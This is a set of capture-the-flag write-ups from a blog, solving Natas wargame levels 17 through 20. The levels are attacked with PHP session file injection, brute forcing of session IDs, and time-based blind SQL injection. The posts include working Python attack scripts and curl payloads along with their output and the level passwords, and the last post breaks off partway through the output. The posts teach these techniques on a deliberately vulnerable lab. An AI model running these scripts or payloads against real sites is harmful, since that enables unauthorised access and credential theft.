Sunday 12 October 2014

Wargames - Natas 20

<< Previous challenge
Next challenge >>

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas20.natas.labs.overthewire.org and take a look at its content.
We're done with brute forcing and we're back to injections, this time in a complete different flavor, no SQL or plain Bash here...
Take a look at this new challenge, when we enter the website, we're already logged in, as a regular user, and our only option is to change the username. Let's look at the source code:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas20</h1> 
<div id="content"> 
<? 

function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 

?> 

<form action="index.php" method="POST"> 
Your name: <input name="name" value="<?=$name?>"><br> 
<input type="submit" value="Change name" /> 
</form> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
A lot of code here, but thankfully also a lot of repeated code from previous challenges, so most of it we already know what it's doing, let's exclude the functions what we already know: debug and print_credentials. The code that gets ran when we enter the page is also familiar, in this specific case, it checks for a name parameter and sets it to the name session variable.
Onto the new stuff, all those my___ functions are related to the session handlers, if you took a look at the recommended reading, you should have a slight notion of what this does. When the code calls session_set_save_handler and passes all those functions names, it's overwriting the default method of retrieving and saving sessions, how they get serialized and unserialized. From all those functions, the only ones that are interesting are the myread and mywrite ones. It's how the session is read and written from/to the file system.
Let's start with the mywrite function: the first couple of lines (68-75) are just to validate the session ID, nothing interesting happening there, this is followed by a filename variable being built base on the session ID, then for each session variable, the function writes them in the file like so: key value\n. The way it writes to the file is interesting, and you'll see why later. Now onto the myread function, this function is pretty simple, it's just the opposite of the write, it gets the session file contents, splits all lines to form an array and then splits by the space, where the string before the space is the key and the string after the space is the value.
Now that we know how this works, it's time to figure a way to exploit it. Like in the previous challenges, we now that an admin is defined by having the admin session variable set to 1, we know this from the print_credentials function, which hasn't changed from the last challenges.
With this in mind, let's see what we can control on this challenge: the name parameter and the session ID cookie. Both these things we have total control over, and even more, the name parameter is used without any parsing or escaping! Our best guess here is to use this to our advantage.
We know how the server reads the session file, it's plain text and follows a simple logic (variables separated by newlines and key and value separated by a space), we also know that there's no parsing on the name parameter that gets set as a session variable. I hope it should be starting to be obvious what we need to do, inject some code on the name parameter so that when the file gets written, the server writes the injection, and when it reads the file, it uses the injected code to our advantage. Let's see what we want to be in the session file:
name admin
admin 1
Pretty simple. The name admin pair is set by the server, which gets the name from the request parameter, the rest we need to inject using the name parameter, so all we need to do is send something like this to the server:
admin\nadmin 1
admin%0Aadmin%201
The first line is the plain text, the second one is URL encoded.
You can send this directly via the form, or like I always do, use curl. Using curl will require for two calls, one to write the session file, other to read it. From the browser you don't need to do it twice because you already have the session set. Here's how it looks:
curl "http://natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF@natas20.natas.labs.overthewire.org?name=admin%0Aadmin%201" --cookie "PHPSESSID=hackityhack"
This is will return the page saying you're a regular user, but the session file has now been written, now we make the second call:
curl "http://natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF@natas20.natas.labs.overthewire.org" --cookie "PHPSESSID=hackityhack"
Which will return:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas20", "pass": "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF" };</script></head>
<body>
<h1>natas20</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ</pre>
<form action="index.php" method="POST">
Your name: <input name="name" value="admin"><br>
<input type="submit" value="Change name" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
And we got it, on line 15 we can see the password for the next level.

User natas21
Password IFekPyrQXftziDEsUr3x21sYuahypdgJ

No more brute forcing, just using a very simple ejection allowed us to get the password.

Never Settle,

<< Previous challenge
Next challenge >>

Saturday 11 October 2014

Wargames - Natas 19

<< Previous challenge
Next challenge >>

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas19.natas.labs.overthewire.org and take a look at its content.
Since this is a follow-up from the previous challenge, it'll be pretty short, the core is the same as the previous one, this one is more like a "find the differences" challenge, let's get to it.
Opening the page will show a  log in form like previously, but this time we got a bold text that says: "This page uses mostly the same code as the previous level, but session IDs are no longer sequential...". I'd advise you to forget this text, as reading it only confused me when watching how the session ID changed.
There's only thing we can actually do here, which is to log in, a good first thing to try is to log in without any credentials, just send an empty form. let's do this several times, deleting the PHPSESSID cookie between attempts, and this is how the cookie changed:
1
2
3
4
5
6
7
8
PHPSESSID=3632362d
PHPSESSID=3335332d
PHPSESSID=3138372d
PHPSESSID=3534322d
PHPSESSID=37322d
PHPSESSID=3437352d
PHPSESSID=3236372d
PHPSESSID=34352d
I hope something stands out, although most of the numbers change, the last 2 characters are always the same, 0x2D, which is the hex value for '-' in ASCII. The rest of the characters are also numbers (pro-tip: 0x30 = 0, 0x39 = 9), so what we have are some numbers, so far we've seen 3 numbers, followed by a '-' (eg.: 626-, 353-). We can assume this is an hex encoded string. Now let's try to send a single letter as the username and see how the cookie changes:
1
2
3
4
5
PHPSESSID=3439322d61
PHPSESSID=3237352d62
PHPSESSID=3235322d63
PHPSESSID=3139312d6162
PHPSESSID=3337352d616263
What's being sent as username is, in order: a, b, c, ab, abc. Is it clear? after the '-', what we're getting is the username, encoded as well (61 = a, 62 = b, 63 = c). It's time to recall the useless function from the previous challenge, isValidAdminLogin, previously, this function didn't do anything, since we had access to the source code, it just returned FALSE, but maybe in this challenge it's not commented, so if the username is admin, it may return TRUE and give access? We can try to use admin as the username, but that by itself won't solve the challenge. What we're missing now is the correct session ID as well, just like in the previous level, so there's a session ID that's composed of a number (guessing from 1 to 640, like previously) followed by an '-', followed by admin. Something that looks like this: 123-admin, all hex encoded. Now that we know what we need to find, time to bring the script from the previous level, with some minor changes:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Created by Joao Godinho
#       October 2014
# Script to brute force level 19 of natas wargames
# Refer to http://floatingbytes.blogspot.com for details

# Library to work with the POST requests
import requests

# Our target URL
target = 'http://natas19:4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs@natas19.natas.labs.overthewire.org/'
# The magic words that tell's we got it
acceptStr = "You are an admin."

# Checking if we can connect to the target, just in case...
r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print 'Target reachable. Starting session brute force...'

# Iterate each session and check if there's one with admin access
for i in range(1,641):
        if i % 10 == 0:
                print 'Checked '+str(i)+' sessions...'
        cookies = dict(PHPSESSID=(str(i)+'-admin').encode('hex'))
        r = requests.get(target, cookies=cookies)
        # Did we find the right session?
        if r.content.find(acceptStr) != -1:
                print 'Got it! Session='+str(i)
                print r.content
                break
print 'Done. Have fun!'
The only change is in line 25, on how the PHPSESSID cookie is built, running it produces the following:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Target reachable. Starting session brute force...
Checked 10 sessions...
Checked 20 sessions...
Checked 30 sessions...
Checked 40 sessions...
Checked 50 sessions...
Checked 60 sessions...
Checked 70 sessions...
Checked 80 sessions...
Checked 90 sessions...
Checked 100 sessions...
Checked 110 sessions...
Checked 120 sessions...
Checked 130 sessions...
Checked 140 sessions...
Checked 150 sessions...
Checked 160 sessions...
Checked 170 sessions...
Checked 180 sessions...
Checked 190 sessions...
Checked 200 sessions...
Checked 210 sessions...
Checked 220 sessions...
Checked 230 sessions...
Checked 240 sessions...
Checked 250 sessions...
Checked 260 sessions...
Checked 270 sessions...
Checked 280 sessions...
Checked 290 sessions...
Checked 300 sessions...
Checked 310 sessions...
Checked 320 sessions...
Checked 330 sessions...
Checked 340 sessions...
Checked 350 sessions...
Checked 360 sessions...
Checked 370 sessions...
Checked 380 sessions...
Checked 390 sessions...
Checked 400 sessions...
Checked 410 sessions...
Checked 420 sessions...
Checked 430 sessions...
Checked 440 sessions...
Checked 450 sessions...
Checked 460 sessions...
Checked 470 sessions...
Checked 480 sessions...
Checked 490 sessions...
Checked 500 sessions...
Got it! Session=501
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div>
</body>
</html>

Done. Have fun!
501 tries later, we finally hit the right one, and there we go, on line 72 we have the password.

User natas20
Password eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

A little more complex than the previous one, but still pretty accessible. A proper warm-up for what's coming.

Never Settle,

<< Previous challenge
Next challenge >>

Friday 10 October 2014

Wargames - Natas 18

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas18.natas.labs.overthewire.org and take a look at its content.
We're done with injections! This challenge presents a new type of exploitation, which has to do with PHP Sessions. I recommend you take a quick look at PHP Sessions link above, it will make this and the following challenges easier to understand and follow.
Now onto the real thing, if you open the page, you can see a simple log in form and a tip saying "Please login with your admin account to retrieve credentials for natas19." We can try to log in using some random username and password, it will accept anything and say you're a regular user. Let's take a look at the source code for a greater understanding of what's happening:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas18</h1> 
<div id="content"> 
<? 

$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
    if($_REQUEST["username"] == "admin") { 
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1; 
    } 

    return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
    return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
    global $maxid; 
    return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
    if(!session_start()) { 
        debug("Session start failed"); 
        return false; 
    } else { 
        debug("Session start ok"); 
        if(!array_key_exists("admin", $_SESSION)) { 
        debug("Session was old: admin flag set"); 
        $_SESSION["admin"] = 0; // backwards compatible, secure 
        } 
        return true; 
    } 
    } 

    return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas19\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
    } 
} 
/* }}} */ 

$showform = true; 
if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}  

if($showform) { 
?> 

<p> 
Please login with your admin account to retrieve credentials for natas19. 
</p> 

<form action="index.php" method="POST"> 
Username: <input name="username"><br> 
Password: <input name="password"><br> 
<input type="submit" value="Login" /> 
</form> 
<? } ?> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
A lot of code to look at, our best course of action here is to follow the code sequentially as it gets executed and that starts at line 71, which sets a flag to show the log in form; then comes some basic logic which starts by calling my_session_start function, what it does is to check for the PHPSESSID cookie and if it's valid; if both these things are true, a session is started and the function returns TRUE, if not the function returns FALSE; coming back to the logic, if the function returned TRUE, meaning the user is logged in, it calls print_credentials and sets the form flag to FALSE; finally, if the user is not logged in, it checks for request parameters (username and password), if they exist, a session id is created and a session is started, followed by setting the form flag to FALSE and a call to print_credentials. Knowing how the log in system works, we now need to find a way to exploit it. I intentionally left the isValidAdminLogin function from the previous description because it always sets the ADMIN session variable to 0, one less function to care about. The print_credentials function doesn't need much attention as well, it just prints the account information. One more interesting function is the my_session_start, it gets the PHPSESSID from the cookies, validates it and starts a session. It's interesting because it works with cookies, which is something we can control, so we should spend some time with this. We know that to get the password for the next level, we must log in with an admin account, and an admin is defined by having an admin session variable set to 1. We also know that we have no control on setting that session variable (useless isValidAdminLogin function). However, there must be some session that has the admin variable set to 1. So what we need is to get to the session that is an admin. Let's look at line 77, which sets the session ID by calling the createID function. Although it takes the username as an argument, all the function does is generate a random number between 1 and 640, so basically the possible sessions in this website go from 1 to 640, and one of it must be an admin session, 640 isn't much, so if you guessed it right, what we're going to do is brute force all possible sessions IDs until we get the correct one, here's the script to do so:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Created by Joao Godinho
#       October 2014
# Script to brute force level 18 of natas wargames
# Refer to http://floatingbytes.blogspot.com for details

# Library to work with the POST requests
import requests

# Our target URL
target = 'http://natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP@natas18.natas.labs.overthewire.org/'
# The magic words that tell's we got it
acceptStr = "You are an admin."

# Checking if we can connect to the target, just in case...
r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print 'Target reachable. Starting session brute force...'

# Iterate each session and check if there's one with admin access
for i in range(1,641):
        if i % 10 == 0:
                print 'Checked '+str(i)+' sessions...'
        cookies = dict(PHPSESSID=str(i))
        r = requests.get(target, cookies=cookies)
        # Did we find the right session?
        if r.content.find(acceptStr) != -1:
                print 'Got it! Session='+str(i)
                print r.content
                break
print 'Done. Have fun!'
Pretty simple, all we do is iterate through all the possible session IDs until we get the magic string that tells' we found the correct ID, running it produces the following:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
Target reachable. Starting session brute force...
Checked 10 sessions...
Checked 20 sessions...
Checked 30 sessions...
Checked 40 sessions...
Checked 50 sessions...
Checked 60 sessions...
Checked 70 sessions...
Checked 80 sessions...
Checked 90 sessions...
Checked 100 sessions...
Checked 110 sessions...
Checked 120 sessions...
Checked 130 sessions...
Checked 140 sessions...
Checked 150 sessions...
Checked 160 sessions...
Checked 170 sessions...
Checked 180 sessions...
Checked 190 sessions...
Checked 200 sessions...
Checked 210 sessions...
Checked 220 sessions...
Checked 230 sessions...
Checked 240 sessions...
Checked 250 sessions...
Checked 260 sessions...
Checked 270 sessions...
Checked 280 sessions...
Checked 290 sessions...
Checked 300 sessions...
Checked 310 sessions...
Checked 320 sessions...
Checked 330 sessions...
Checked 340 sessions...
Checked 350 sessions...
Checked 360 sessions...
Checked 370 sessions...
Checked 380 sessions...
Checked 390 sessions...
Checked 400 sessions...
Checked 410 sessions...
Checked 420 sessions...
Checked 430 sessions...
Checked 440 sessions...
Checked 450 sessions...
Checked 460 sessions...
Checked 470 sessions...
Checked 480 sessions...
Checked 490 sessions...
Checked 500 sessions...
Checked 510 sessions...
Checked 520 sessions...
Checked 530 sessions...
Checked 540 sessions...
Checked 550 sessions...
Checked 560 sessions...
Checked 570 sessions...
Checked 580 sessions...
Got it! Session=585
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Done. Have fun!
After 585 tries we got the right session, and on line 75 we have the password for the next level.

User natas19
Password 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

A fun and simple introducing to PHP Sessions and session ID. The next challenge is a follow-up on this one and gets a little more complex, not much.

Never Settle,

<< Previous challenge

Thursday 9 October 2014

Wargames - Natas 17

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas17.natas.labs.overthewire.org and take a look at its content.
Remember when I said SQL injections can get somewhat complex? This challenge is such example, we're going to use time-based blind SQL injections to brute force the password, check the recommended reading, there's a link that explains blind injections.
This is similar to level 15, where we can check if a username exists on the users table. Let's take a peek at the source code:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas17</h1> 
<div id="content"> 
<? 

/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas17', '<censored>'); 
    mysql_select_db('natas17', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        //echo "This user exists.<br>"; 
    } else { 
        //echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        //echo "Error in query.<br>"; 
    } 

    mysql_close($link); 
} else { 
?> 

<form action="index.php" method="POST"> 
Username: <input name="username"><br> 
<input type="submit" value="Check existence" /> 
</form> 
<? } ?> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
The code looks exactly the same as natas 15, we can exploit it in the same way, the problem here is that we get no output from the server, because lines 35, 37 and 40 are commented. If we take a look at time-based blind SQL injections, this fits in just perfectly, the only way we have to know if our query is successful or not is by making the database pause for some time. The exploitation principle is the same as natas 15, we need to sequentially build the password, but instead on relying on the output to validate our guesses, we rely on the execution time. The approach we're going to use is the same as in previous challenges: find which characters are part of the password and then iterate through them, building the password one character at a time.
Our next step is building the injection SQL, for that we're going to use the SLEEP and the IF functions, what we need is to check if the password contains the character we're iterating, sleep for some time, else, just return. The full query looks something like this:
SELECT * from users where username="natas18" AND IF(password LIKE BINARY "%0%", sleep(5), null) #
So here we're checking if 0 is part of the password, if it yes, it'll sleep for 5 seconds. The injection itself is obviously smaller, and looks like this:
natas18" AND IF(password LIKE BINARY "%0%", sleep(5), null) #
The first IF expression is exactly the same as in level 15, so I'll skip that explanation. If the expression is not clear for you, check level 15, it explains how it works in greater detail.
The script itself is also similar, the injections change and we make use of timeouts, we tell it to wait just 1 second for a reply, if we don't get it within that time, the server is sleeping and therefore we got a match on whatever character we're going through at the moment, here's the full code:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# Created by Joao Godinho
#       October 2014
# Script to brute force level 17 of natas wargames
# Refer to http://floatingbytes.blogspot.com for details

# Library to work with the POST requests
import requests

# All possible characters
allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# Parsed characters, the ones that actually exist in the password
parsedChars = ''
# Final Password
password = ''
# Our target URL
target = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/'

# Checking if we can connect to the target, just in case...
r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print 'Target reachable. Starting character parsing...'


# The fun begin, let's see what characters are actually part of the pwd
for c in allChars:
        # SQL time-based injection #1
        try:
                r = requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "%'+c+'%", sleep(5), null) %23', timeout=1)
        except requests.exceptions.Timeout:
                # If we got a timeout, the character exists
                parsedChars += c
                print 'Used chars: ' + parsedChars

print 'Characters parsed. Starting brute force...'

# Assuming password is 32 characters long
for i in range(32):
        for c in parsedChars:
                # SQL time-based injection #2
                try:
                        r = requests.get(target+'?username=natas18" AND IF(password LIKE BINARY "' + password + c + '%", sleep(5), null) %23', timeout=1)
                # Did we found the character at the i position of the password?
                except requests.exceptions.Timeout:
                        password += c
                        print 'Password: ' + password + '*' * int(32 - len(password))
                        break

print 'Done. Have fun!'
Instead of a simple SQL injection, we just use a more complex one... Here's the output:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Target reachable. Starting character parsing...
Used chars: 0
Used chars: 04
Used chars: 047
Used chars: 047d
Used chars: 047dg
Used chars: 047dgh
Used chars: 047dghj
Used chars: 047dghjl
Used chars: 047dghjlm
Used chars: 047dghjlmp
Used chars: 047dghjlmpq
Used chars: 047dghjlmpqs
Used chars: 047dghjlmpqsv
Used chars: 047dghjlmpqsvw
Used chars: 047dghjlmpqsvwx
Used chars: 047dghjlmpqsvwxy
Used chars: 047dghjlmpqsvwxyC
Used chars: 047dghjlmpqsvwxyCD
Used chars: 047dghjlmpqsvwxyCDF
Used chars: 047dghjlmpqsvwxyCDFI
Used chars: 047dghjlmpqsvwxyCDFIK
Used chars: 047dghjlmpqsvwxyCDFIKO
Used chars: 047dghjlmpqsvwxyCDFIKOP
Used chars: 047dghjlmpqsvwxyCDFIKOPR
Characters parsed. Starting brute force...
Password: x*******************************
Password: xv******************************
Password: xvK*****************************
Password: xvKI****************************
Password: xvKIq***************************
Password: xvKIqD**************************
Password: xvKIqDj*************************
Password: xvKIqDjy************************
Password: xvKIqDjy4***********************
